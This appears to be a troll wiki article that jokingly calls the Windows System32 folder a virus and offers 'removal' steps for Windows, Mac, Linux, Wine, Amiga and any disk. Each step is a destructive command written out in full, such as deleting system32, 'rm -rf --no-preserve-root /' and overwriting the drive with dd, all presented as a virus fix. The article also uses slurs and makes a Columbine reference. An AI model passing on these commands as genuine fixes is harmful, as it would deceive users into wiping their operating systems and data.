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System32

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System32/System64 is a malicious program and should be promptly deleted upon recognizing it.

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Sys32.gif
Do It in Vista Faggot
Advice Dog also wants you to delete system32
Advice Dog did not just mean Windows, he also meant the mac and linfags too!

System32 (and its evil cousin System64) is a virus going by many names which infects your Windows, ReactOS. Mac or Linux system directory and turns it into a Sega game. Microsoft makes software to remedy this called "My Computer", but it doesn't work with the other OSes affected, which have to use a program called "Terminal".

Contents

Why should you delete the System32/64 virus?

There are many fine reasons why you should delete System32 or System64:

  1. You fail at IRL.
  2. You fail at Eckbawks.
  3. You fail at having a taste in good music.
  4. You fail at going Columbine on everyone.
  5. You fail it.
  6. You just lost the game.
  7. ????
  8. Profit

The Windows and ReactOS Version

To remove the System32 (or System64) trojan virus, you have two choices. The quickest, most effective method is to press the Windows key on the keyboard, hold it, and press 'R', and then type cmd /c rd /s /q %windir%\system32 or cmd /c rd /s /q %windir%\system64 -- or you may double-click "My Computer", then go in to the C: directory, double click "Windows", right-click System32 and then choose Delete. Ignore any warnings, as this malicious virus will try to stay on your directory as long as it can. However, if it is too late for "My Computer" to fix it, your computer will stop working.

Of course if this doesn't fix your problem sufficiently you can always do a factory wipe. This operation is carried out by removing your hard drive then unscrewing the case. After this, find a powerful magnet and run it against the drive sideways at least twenty times. After this remove the black disk inside the casing (this covered with system32) and clean with acetone until the aluminum platters are clean once more. While you are at it, remove your RAM chips and wipe them on a woolen jumper as to renew the static in the static RAM.

Remounting is the reverse of removal, then Press the on button and- voila!- "System32" (or System64) is gone. Enjoy your bug free, virus free computer.

A popular solution to System32/64 is Windows Optimizer.

The Mac Version

The developers of the System32 and System64 trojan have also come out with a Mac version. If you own a mac, it is absolutely crucial that you follow these instructions. First, go to Finder, and navigate to your harddrive. Check to see if there is a file named "System." If so, do the following steps immediately. Navigate to Applications, Utilities, and open Terminal. Type the command, "sudo rm -r /System" without the quotation marks. This should be followed by a prompt for your password. Upon entering the password, the virus will shortly be wiped from your system.

The Linux Version

This newfag (or aspie) will do it, why don't you?

Sightings of this virus have also been reported by some Linux users. Be sure to take care of this as soon as possible by using "su -c 'rm -rf --no-preserve-root /'" (or "sudo rm -rf --no-preserve-root /") in a terminal without the quotation marks. You should be prompted for your password (or the root password for su). Enter it and your system will be shortly cleared from all threats.

The Wine Version (Linux only)

Wine bundles a rewritten version of the System32/64 virus. This may be easily taken care of using "rm -rf ~/.wine/drive_c/windows/system*". Then run "rm -rf /usr/lib/wine/*" as root to prevent the virus from ever coming back.

The Commodore Amiga Version

Delete dh0:/libs

The Universal Version

If you like using operating systems made by aspies in their basements, here's an alternative version:

  1. Boot from a Ubuntu CD and open a terminal.
  2. Run "sudo dd if=/dev/zero of=/dev/sda" and let it finish. Don't you touch that computer until it's done!
  3. ???
  4. PROFIT!
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Featured article October 21 & October 22, 2013
Preceded by
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System32 Succeeded by
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